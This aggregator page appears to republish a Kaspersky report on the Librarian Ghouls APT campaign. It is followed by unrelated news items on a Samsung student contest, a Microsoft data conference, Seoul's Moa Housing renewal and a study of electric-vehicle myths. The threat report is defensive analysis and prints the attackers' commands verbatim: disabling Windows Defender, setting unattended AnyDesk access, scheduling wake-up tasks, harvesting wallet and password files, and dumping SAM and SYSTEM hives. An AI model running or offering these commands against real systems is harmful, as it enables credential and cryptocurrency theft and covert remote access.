Category: Natural Disasters

MIL-OSI Economics: Sleep with one eye open: how Librarian Ghouls steal data by night

Source: Securelist – Kaspersky

Headline: Sleep with one eye open: how Librarian Ghouls steal data by night

Introduction

Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.

A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.

Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.

Technical details

Initial infection vector

Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.

We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.

The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into data.cab, installer.config and runtime.cab respectively.

The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.

Once 4t Tray Minimizer is installed, the installer pulls three files from data.cab and puts them into the C:Intel directory, specifically at:

File	Name when archived	Path on the infected system
Legitimate PDF as a decoy	0	IntelPayment Order # 131.pdf
Legitimate curl utility executable	1	Intelcurl.exe
LNK file	2	IntelAnyDeskbat.lnk

The PDF decoy resembles an order to pay a minor amount:

PDF document imitating a payment order

rezet.cmd

Once data.cab is unpacked, the installer generates and executes a rezet.cmd command file, which then reaches out to the C2 server downdown[.]ru, hosting six files with the JPG extension. rezet.cmd downloads these to C:Intel, changing their file extensions to: driver.exe, blat.exe, svchost.exe, Trays.rar, wol.ps1, and dc.exe.

driver.exe is a customized build of rar.exe, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.
blat.exe is Blat, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.
svchost.exe is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.
dc.exe is Defender Control, which allows disabling Windows Defender.

After downloading the files, the script uses the specified password and the driver.exe console utility to extract Trays.rar into the same C:Intel directory and run the unpacked Trays.lnk. This shortcut allows starting 4t Tray Minimizer minimized to the tray.

Next, the script installs AnyDesk on the compromised device and downloads a bat.bat file from the C2 server to C:IntelAnyDesk. Finally, rezet.cmd runs bat.lnk, which was previously extracted from data.cab.

bat.bat

Opening the bat.lnk shortcut runs the bat.bat batch file, which executes a series of malicious actions.

Disabling security measures and a scheduled task

First, the BAT file sets the password QWERTY1234566 for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.

Next, the script uses the previously downloaded Defender Control (dc.exe) application to disable Windows Defender.

To verify that the victim’s computer is on and available for remote connections, the batch file runs the powercfg utility six times with different parameters. This utility controls the local machine’s power settings.

Next, bat.bat runs the schtasks utility to create a ShutdownAt5AM scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.

echo QWERTY1234566 | AnyDesk.exe –set-password _unattended_access %SYSTEMDRIVE%Inteldc.exe /D powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 powercfg -change -standby-timeout-ac 0 powercfg -change -hibernate-timeout-ac 0 powercfg -h off powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 schtasks /create /tn “ShutdownAt5AM” /tr “shutdown /s /f /t 0” /sc daily /st 05:00

echo QWERTY1234566 | AnyDesk.exe —set–password _unattended_access

%SYSTEMDRIVE%Inteldc.exe /D

powercfg –setacvalueindex SCHEME_CURRENT 4f971e89–eebd–4455–a8de–9e59040e7347 5ca83367–6e45–459f–a27b–476b1d01c936 0

powercfg –change –standby–timeout–ac 0

powercfg –change –hibernate–timeout–ac 0

powercfg –h off

powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

schtasks /create /tn “ShutdownAt5AM” /tr “shutdown /s /f /t 0” /sc daily /st 05:00

Disabling security measures and the power management configuration in bat.bat

Wakeup script and data theft

Next, the batch file executes the wol.ps1 script via PowerShell.

$Action = New-ScheduledTaskAction -Execute “C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe” $Trigger = New-ScheduledTaskTrigger -Daily -At “01:00AM” $Principal = New-ScheduledTaskPrincipal -UserId “SYSTEM” -LogonType ServiceAccount -RunLevel Highest # Creating task settings $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun # Registering task in Task Scheduler Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName “WakeUpAndLaunchEdge” -Settings $TaskSettings -Force

$Action = New–ScheduledTaskAction –Execute “C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe”

$Trigger = New–ScheduledTaskTrigger –Daily –At “01:00AM”

$Principal = New–ScheduledTaskPrincipal –UserId “SYSTEM” –LogonType ServiceAccount –RunLevel Highest

# Creating task settings

$TaskSettings = New–ScheduledTaskSettingsSet –AllowStartIfOnBatteries –DontStopIfGoingOnBatteries –StartWhenAvailable –WakeToRun

# Registering task in Task Scheduler

Register–ScheduledTask –Action $Action –Principal $Principal –Trigger $Trigger –TaskName “WakeUpAndLaunchEdge” –Settings $TaskSettings –Force

Contents of the “wol.ps1” script

This script launches Microsoft Edge every day at 1 AM. We found no evidence of msedge.exe being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.

Following the execution of the PowerShell script, bat.bat removes the curl utility, the Trays.rar archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, Trays.rar has been unpacked, and AnyDesk has been installed on the device.

After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.

The next step is to collect information stored on the device that is of interest to the attackers:

Cryptocurrency wallet credentials and seed phrases
Dumps of the HKLMSAM and HKLMSYSTEM registry keys made with reg.exe

%SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*парол*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*карт*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*кошельк*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:wallet.dat /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.doc* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.txt /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*seed*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:keystore.json /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*bitcoin*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*usdt*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*ethereum*.* /y reg save hklmsam %SYSTEMDRIVE%Intelsam.backup reg save hklmsystem %SYSTEMDRIVE%Intelsystem.backup

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*парол*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*карт*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*кошельк*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:wallet.dat /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.doc* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.txt /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*seed*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:keystore.json /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*bitcoin*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*usdt*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*ethereum*.* /y

reg save hklmsam %SYSTEMDRIVE%Intelsam.backup

reg save hklmsystem %SYSTEMDRIVE%Intelsystem.backup

Data collection by bat.bat

The BAT file uses driver.exe to pack data it has collected into two separate password-protected archives. Then, the script runs blat.exe to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.

Miner installation and self-deletion

Next, bat.bat deletes the files generated during the attack from the C:Intel folder and installs a crypto miner on the compromised system. To do this, the script creates a bm.json configuration file containing the mining pool address and the attackers’ identifier, and then downloads install.exe from hxxp://bmapps[.]org/bmcontrol/win64/Install.exe.

install.exe is an installer that checks for the JSON configuration file and the bmcontrol.exe process in the system. If the process is detected, the installer terminates it.

Then, install.exe downloads an archive with mining tools from hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip.

The archive contains the following files:

_install.exe: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.
bmcontrol.exe: miner controller
run.exe, stop.cmd, uninstall.cmd: tools for starting, stopping, and removing the controller
XMRig miner

Depending on the parameters of the JSON file, the unmodified original installer file is used, or _install.exe is renamed to install.exe and run. After that, the installer adds run.exe to autorun. This utility checks for an already running bmcontrol.exe controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.

Once running, bmcontrol.exe creates two processes: master and worker. The master process launches and constantly monitors the worker, and also restarts it if the latter quits unexpectedly. In addition, the master passes the JSON configuration file to the worker process.

Before launching the XMRig miner, the worker process collects the following system information:

Available CPU cores
Available RAM
GPU

This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the worker maintains a connection to the mining pool, sending a request every 60 seconds.

After installing the miner on the system, bat.bat removes itself from the victim’s device.

Legitimate software utilized by the attackers

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular in the Likho cluster.

Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:

Mipko Personal Monitor: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.
WebBrowserPassView: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.
ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.
NirCmd: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.

Phishing campaign

Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including users-mail[.]ru and deauthorization[.]online. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the mail.ru email service.

Example of a phishing page associated with the APT campaign

Infrastructure

The implant detailed in this article communicated with the command-and-control servers downdown[.]ru and dragonfires[.]ru. Both resolve to the IP address 185.125.51[.]5.

Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.

Directory listing on a malicious server

Victims

Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.

The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.

About the attackers

Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.

Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.

Takeaways

At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.

Indicators of compromise

* Additional indicators of compromise and a YARA rule for detecting Librarian Ghouls activity are available to customers of our APT Intelligence Reporting service. Contact intelreports@kaspersky.com for more details.

Decoy documents

cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286
dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3
977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac
65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e
6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510

Malicious PS1 scripts

8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15
7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a
01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a

Miner installer (install.exe)
649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f

Miner controller (bmcontrol.exe)
9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f

Miner launcher (run.exe)
d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839

Legitimate software

AnyDesk
Blat
curl
Defender Control
Customized RAR 3.80
AnyDesk
Mipko Personal Monitor
ngrok
NirCmd
4t Tray Minimizer
WebBrowserPassView

Librarian Ghouls malicious domains

vniir[.]space
vniir[.]nl
hostingforme[.]nl
mail-cheker[.]nl
unifikator[.]ru
outinfo[.]ru
anyhostings[.]ru
center-mail[.]ru
redaction-voenmeh[.]info
acountservices[.]nl
accouts-verification[.]ru
office-email[.]ru
email-office[.]ru
email-informer[.]ru
office-account[.]ru
deauthorization[.]online
anyinfos[.]ru
verifikations[.]ru
claud-mail[.]ru
users-mail[.]ru
detectis[.]ru
supersuit[.]site
downdown[.]ru
dragonfires[.]ru
bmapps[.]org

MIL OSI Economics –

June 10, 2025

MIL-OSI Economics: Samsung Solve for Tomorrow Sparks a Wave of Young Innovators in Tripura

Source: Samsung

As the monsoon clouds gather over the lush hills of Tripura, a different kind of storm of ideas, innovation, and ambition is taking over college campuses. Samsung’s flagship innovation competition, Solve for Tomorrow, has made its mark in the farthest corners of India in Season 4, igniting the spirit of problem-solving and nation-building among young minds.

After a powerful launch on April 29, the design thinking workshops and college Open Houses swept across India—reaching not just major metros but also the vibrant heartlands of the Northeast.

Samsung Solve for Tomorrow 2025 will provide INR 1 crore to the top four winning teams to support the incubation of their projects, along with hands-on prototyping, investor connects, and expert mentorship from Samsung leaders and IIT Delhi faculty.

In Agartala, Tripura, two colleges—Bir Bikram Memorial College and Netaji Subhash Mahavidyalaya—witnessed a groundswell of students coming together to imagine solutions to India’s most pressing problems.

At Bir Bikram, second-year student Tarit Chakma walked out of the Open House with a quiet determination in his eyes. “I want to solve the water logging issues in tribal areas using smart but low-cost drainage tech.”

Tarit isn’t alone in his vision. Sitting next to him was Sangeeta Dey, a science undergraduate, who spoke of the growing mental health crisis among youth in smaller towns. “I want to build an anonymous digital mental health assistant in local languages, starting with Kokborok,” she said, her notebook already filled with flowcharts and feature ideas.

Meanwhile, across town at Netaji Subhash College, hundreds of students filled the campus hall, their excitement palpable. For many, this was their first exposure to structured innovation and design thinking frameworks.
Sourav Shukladas, a tech enthusiast from Netaji Subhash College, said, “I’ve been tinkering with the idea of a wearable that can alert family members and local clinics in case of sudden health issues of elderly family members. This platform gave me the confidence that such ideas can be built right here, from Tripura, for the world.”

His classmate, Sangeeta Saha, said, “We’ve always believed we had to leave Tripura to do something meaningful. Today made me think differently. What if we could turn our state into a hub of social innovation instead? I want to work on eco-tourism models that empower local artisans and protect our forests.”

Each voice in these packed halls echoed the larger mission of Samsung Solve for Tomorrow—to democratize innovation, to reach every young mind with potential, and to build a new generation of problem-solvers across India’s many geographies.

What began as roadshows in the North and South has now evolved into a movement that is energizing classrooms in remote towns. And as Season 4 unfolds, it’s clear that Solve for Tomorrow is not just a competition—it’s a call to action for a generation ready to reimagine India, one idea at a time.

From the narrow bylanes of Agartala to the sprawling innovation hubs of Delhi and Bangalore, this is a journey of dreams taking flight. And if the students of Tripura are any indication, the future is in passionate, capable hands.

MIL OSI Economics –

June 10, 2025
MIL-OSI Economics: The future of data: Microsoft Fabric Community Conference coming to Atlanta March 16-20
Source: Microsoft

Headline: The future of data: Microsoft Fabric Community Conference coming to Atlanta March 16-20

The Microsoft Fabric Community Conference is back for its third year—and we’re bringing everything and everybody you’ve loved at past events with us to Atlanta, Georgia. After unforgettable experiences at FabCon in Las Vegas and Stockholm, the Fabric community proved just how powerful it can be when we come together. With more than 13,000 attendees across our last three conferences, it’s clear: the Microsoft Fabric community is here to drive the future of data!

And yes, we’re pleased to announce; it’s happening again! Mark your calendars for #FabCon Atlanta from March 16-20, 2026, at the Georgia World Congress Center in Atlanta. Join us for the ultimate Microsoft Fabric, Power BI, SQL, Real-Time Intelligence, AI, and Databases community-led event. The third annual FabCon Americas will feature two full days of workshops ahead of sessions from your favorite Microsoft and community speakers, keynotes in the State Farm Arena, more opportunities to Ask the Experts for 1:1 support, an engaging community lounge with opportunities to network and connect with your peers, a dedicated partner pre-day, a packed expo hall, Power Hour, the second annual Data Viz World Championship, and a can’t-miss attendee party at the Georgia Aquarium.

FabCon features expert-led content by Microsoft MVPs, the Microsoft product team, partners, and the community itself. Whether you’re here to dive into the latest in Fabric, sharpen your skills, or build connections with data pros from around the world, FabCon 2026 has something for everyone.
- Don’t miss out—Register here and use code MSCATL for a $200 discount on top of current Super Early Bird pricing!
We can’t wait to take Atlanta by storm to celebrate all things Microsoft Fabric—where learning, innovation, and community collide!

What are some of the best things about FabCon coming to Atlanta?
- The GWCC will easily hold the 7,500 anticipated attendees.
- Flights into Atlanta are frequent, affordable, accessible, and often nonstop from almost anywhere in the world.
- Easy access to the GWCC and downtown from the airport via Ride Share or mass transit.
- Hotel availability to meet our needs within a five-block radius.
- Restaurants are plentiful and meals are more affordable than in many other cities.
- For the keynote, the conference center is adjacent to the State Farm Arena, the home of the Atlanta Hawks.
- The Georgia Aquarium will be an amazing location for the attendee party. They’ve got whale sharks!
Save your spot!

P.S. Want to experience the FabCon magic before next spring? Join us in September at FabCon Vienna.
MIL OSI Economics –
June 10, 2025
MIL-OSI Economics: Development Asia: Moa Housing: A Small-Scale Approach to Transform Seoul’s Aging Neighborhoods
Source: Asia Development Bank

Introduction

The city of Seoul’s Moa Housing initiative is an innovative urban renewal strategy launched in 2022 to revitalize aging, low-rise residential areas that are difficult to redevelop on a larger scale. These neighborhoods—developed in the 1960s and 1980s—consist of compact, multi-family housing districts with narrow streets, insufficient parking, outdated infrastructure, and limited green spaces.

To overcome these challenges, the initiative introduces a new model that consolidates small plots of land for collective development, enabling residents to build high-quality housing while securing underground parking, green spaces, and other infrastructure. Once consolidated and infrastructure is established, these areas are designated as “Moa Towns.”

Unlike conventional redevelopment—which can take 10 years and require two-thirds of buildings to be in poor condition—Moa Housing operates on a faster four to five-year timeline. It streamlines the process and offers favorable conditions, including regulatory exemptions and incentives. The program is built on resident participation, supported by public–private partnerships, and aims to provide 30,000 new homes across 100 Moa Towns in 25 years, with the first town scheduled for completion in 2028.
What is the Moa Housing initiative?

Moa Housing is a maintenance project in which homeowners collectively own and manage individual parcels of land and develop them together into high-quality housing on a block-by-block basis. It is a small-scale urban renewal model focused on low-rise residential areas that are hard to redevelop under traditional large-scale projects.

How does the Moa Housing model work?

The model gathers low-rise areas (within 100,000 square meters) with a mix of old and new buildings, establishes a regional unit, and creates a management plan. Once underground parking and green spaces are secured, the area is designated as a “Moa Town” and implemented through a streamlined process with better incentives than conventional redevelopment.

What problems does Moa Housing address?

Moa Housing targets long-standing issues common in aging, low-rise neighborhoods that hinder livability and safety. These include:

High-density housing areas with illegal parking and resident conflict

Narrow streets that obstruct fire trucks and emergency response

Topographical challenges that make access during emergencies and evacuation difficult

Inadequate infrastructure such as parking lots, parks, and green space

Fragmented development when using building-by-building improvements

How does Moa Housing differ from conventional redevelopment?

Moa Housing offers a more flexible and expedited alternative to traditional redevelopment models. Key differences include the following:

Traditional redevelopment requires at least two-thirds of buildings be in poor condition—Moa Housing does not.

Projects can proceed without major building deterioration in hard-to-develop locations.

Moa Housing projects are exempt from architectural and urban management standards, such as height and floor area ratio, as long as site conditions are met.

Timeline is significantly faster: 4–5 years versus 10 years or more for conventional projects.

How are Moa Towns selected?

There are two methods:

A contest conducted by borough offices

Consultation based on residents’ proposals

After meeting eligibility conditions, a management plan must be submitted to the autonomous district. The required conditions are:

At least two cooperatives must be established to implement small-scale housing maintenance.

Consent from at least two-thirds of the land area targeted by the project must be obtained.

As of June 2025, 111 neighborhoods have been selected as Moa Town project sites. One site is currently under construction and expected to be completed around 2028.

What happens once an area is designated as a Moa Town?

Each autonomous district prepares a Moa Town Management Plan, which is shared with residents and reviewed by a committee. After approval, the plan is granted legal status as a “small housing maintenance management area.” The project then proceeds.

What financial support does the city provide?

The Seoul Metropolitan Government pledges to provide 70% of the establishment cost (up to 380 million won per site) for management plan formulation. The remaining 30% is covered by the district.

What kinds of projects are included under Moa Housing?

Moa Housing includes various small-scale maintenance types under the Small-scale Housing Maintenance Act:

Autonomous housing maintenance

Street housing maintenance

Small-scale reconstruction

Small-scale redevelopment

Projects are implemented through joint development using architectural agreements.

What types of improvements are made in Moa Towns?

Moa Towns are designed to enhance livability through shared infrastructure and better land use. These improvements include:

Underground parking lots and increased green spaces

Community and shared facilities along low-rise streets

Upgraded living infrastructure, including community amenities

More integrated, accessible environments for residents

What makes the business model feasible and attractive?

The Moa Housing model streamlines redevelopment and offers strong financial and regulatory support, including:

Shorter business cycle of 4–5 years compared to 10 years

Exemptions from zoning and urban design rules

Upzoning and simplified commercial use changes

Government subsidies improve project profitability

Public architect support for design and planning

Were there any early difficulties with the project?

Residents initially had limited understanding of the project’s scope, and promotional efforts were insufficient. Momentum improved after the SH Corporation launched a pilot Moa Town site, focusing on areas with constraints (e.g., height restrictions) and helping raise awareness.

What are some example sites of Moa Housing in action?

An old low-rise residential area near Jungnang Station with a high density of multi-family dwellings.

Junghwa 1-dong, Jungnang-gu: Existing dilapidated housing is being transformed into a complex with new infrastructure and essential amenities.

What are the long-term goals and outcomes of the project?

Moa Housing aims to transform Seoul’s aging neighborhoods into vibrant, sustainable communities. Its key goals include:

Deliver 30,000 homes in 25 years

Designate 100 Moa Towns across Seoul

Rejuvenate aging districts while addressing housing shortages

Enhance quality of life and revitalize local economies

Promote energy-efficient buildings, green spaces, and job creation

How does Moa Housing promote inclusion and diversity in housing?

By providing a range of housing types, the initiative accommodates varied income levels and lifestyles, promoting a more inclusive housing market.

The Moa Town project is predicated on the principle of community participation, with residents playing an active role in the planning and execution of the project. Residents are directly involved in the planning and implementation of the project, creating a customized residential environment that reflects the actual needs and wants of the residents. The development of the local economy is twofold: (i) it contributes to improving living spaces, and (ii) it contributes to the economic development of the local area.

What are the economic development benefits?

Moa Housing injects public funds into key infrastructure like public parking and parks, which improves local conditions and boosts business profitability. The simplified regulatory framework enhances efficiency for developers.

What partnerships support Moa Housing?

Moa Housing is driven by collaboration between the public and private sectors to ensure efficient project delivery. This joint approach ensures cost-effective execution.

Public sector: responsible for licensing, financing, and infrastructure

Private sector: responsible for construction and project implementation

Figure 1: Overview of available support for joint project

Source: Seoul Metropolitan Government.

What are the risks or drawbacks of the model?

While Moa Housing offers many benefits, it also faces some limitations that can impact implementation:

Higher construction costs than typical redevelopment

Requires resident consent, which may be hard to obtain

Less popular than large-scale complexes

As a new initiative, outcomes are not yet fully determined

When selectively applied, Moa Housing facilitates more efficient urban maintenance.

What lessons can cities learn from Moa Housing?

The initiative provides valuable insights into small-scale, community-centered urban renewal:

Supports structural change in low-rise housing at appropriate densities

Addresses issues such as isolated projects, inadequate infrastructure, and disconnected living environments

Demonstrates how community engagement, sustainable design, and localized planning can deliver high-impact results

Offers a scalable, replicable model for other urban centers facing similar renewal challenges
MIL OSI Economics –
June 10, 2025
MIL-Evening Report: 9 myths about electric vehicles have taken hold. A new study shows how many people fall for them

Source: The Conversation (Au and NZ) – By Christian Bretter, Senior Research Fellow in Environmental Psychology, The University of Queensland

More people believe misinformation about electric vehicles than disagree with it and even EV owners tend to believe the myths, our new research shows.

We investigated the prevalence of misinformation about EVs in four countries – Australia, the United States, Germany and Austria. Unfortunately, we found substantial agreement with misinformation across all countries.

People who endorsed false claims about EVs were, not surprisingly, significantly less likely to consider buying one.

Electric vehicles are vital in the fight against climate change. But pervasive misinformation is a significant challenge to the technology’s uptake and has serious implications for the shift away from fossil fuels.

Widespread agreement with false EV claims

We conducted a survey of 4,200 people across the four countries who did not own an electric vehicle. We measured the extent to which they agreed with these nine misleading claims about electric vehicles:

What we found

The most widely believed myth was that electric vehicles are more likely to catch fire than petrol cars. Some 43–56% of people agreed with the statement, depending on the country.

To tally the results, we looked at participants’ responses for all nine misinformation statements – more than 36,000 responses in all. We then calculated how many of these responses indicated agreement or disagreement.

Of the 36,000 responses, 36% were in agreement with a statement and 23% were in disagreement. A further 24% were undecided and 17% did not know.

Misinformation agreement was highest in Germany and lowest in the US, but the differences between nations were small.

Agreement with misinformation was strongly correlated with a lack of support for electric vehicle policies and a lack of intention to buy an EV in future.

A separate part of the research involved 2,100 people in the US, about half of whom owned an electric vehicle. Surprisingly, EV owners did not significantly differ in their agreement with misinformation compared to non-owners. This underscores how embedded the problem has become.

Agreement with misinformation was strongly correlated with a lack of buying intention.
Photo by Sebastian Ng/SOPA Images/LightRocket via Getty Images

It’s not about education

We also examined the factors that make individuals more susceptible to EV misinformation.

The strongest predictor was people who scored highly on a “conspiracy mentality” – in other words, they believed conspiracies were common in society, they saw the world through a lens of corruption and secret agendas, and distrusted institutions.

People with progressive political and environmental views were less likely to endorse misinformation about EVs.

A person’s scientific knowledge or level of education was not a predictor. This finding aligns with previous research, and suggests the pervasive endorsement of misinformation stems from distrust in institutions and expertise rather than from a lack of education.

People with progressive political views were less likely to endorse EV misinformation.
Costfoto/NurPhoto via Getty Images

Grounds for optimism

We tested whether misinformation could be reduced with two interventions among a different sample of US participants. One group was asked to converse with ChatGPT about their views on EV misinformation. The second was asked to read a traditional EV fact sheet from the US Department of Energy. On a third “control” group, no intervention was tested.

Participants who engaged with either ChatGPT or the fact sheet before we surveyed them showed significantly lower endorsement of EV misinformation compared to the control group. This persisted at a follow-up session ten days after the survey.

Notably, ChatGPT did not produce any misinformation about EVs. These results build upon existing research demonstrating ChatGPT’s potential to reduce endorsement of conspiracy theories.

Misinformation about EVs poses significant challenges to uptake of the technology.
Florian Wiegand/Getty Images

How to tackle EV misinformation

Our findings show misinformation about electric vehicles has a substantial foothold in Western nations. Susceptibility is not a matter of education or knowledge, but rather stems from distrust of established institutions and expertise.

We also found people who engage with facts about electric vehicles are less likely to endorse misinformation.

This suggests a dual strategy is needed to reduce misinformation about EVs. First, those who deliberately spread misinformation should be held accountable. And second, evidence-based information, including accessible AI tools, can be used to build public resilience against false claims.

Matthew Hornsey receives funding from the Australian Research Council.

Christian Bretter and Samuel Pearson do not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

– ref. 9 myths about electric vehicles have taken hold. A new study shows how many people fall for them – https://theconversation.com/9-myths-about-electric-vehicles-have-taken-hold-a-new-study-shows-how-many-people-fall-for-them-257557

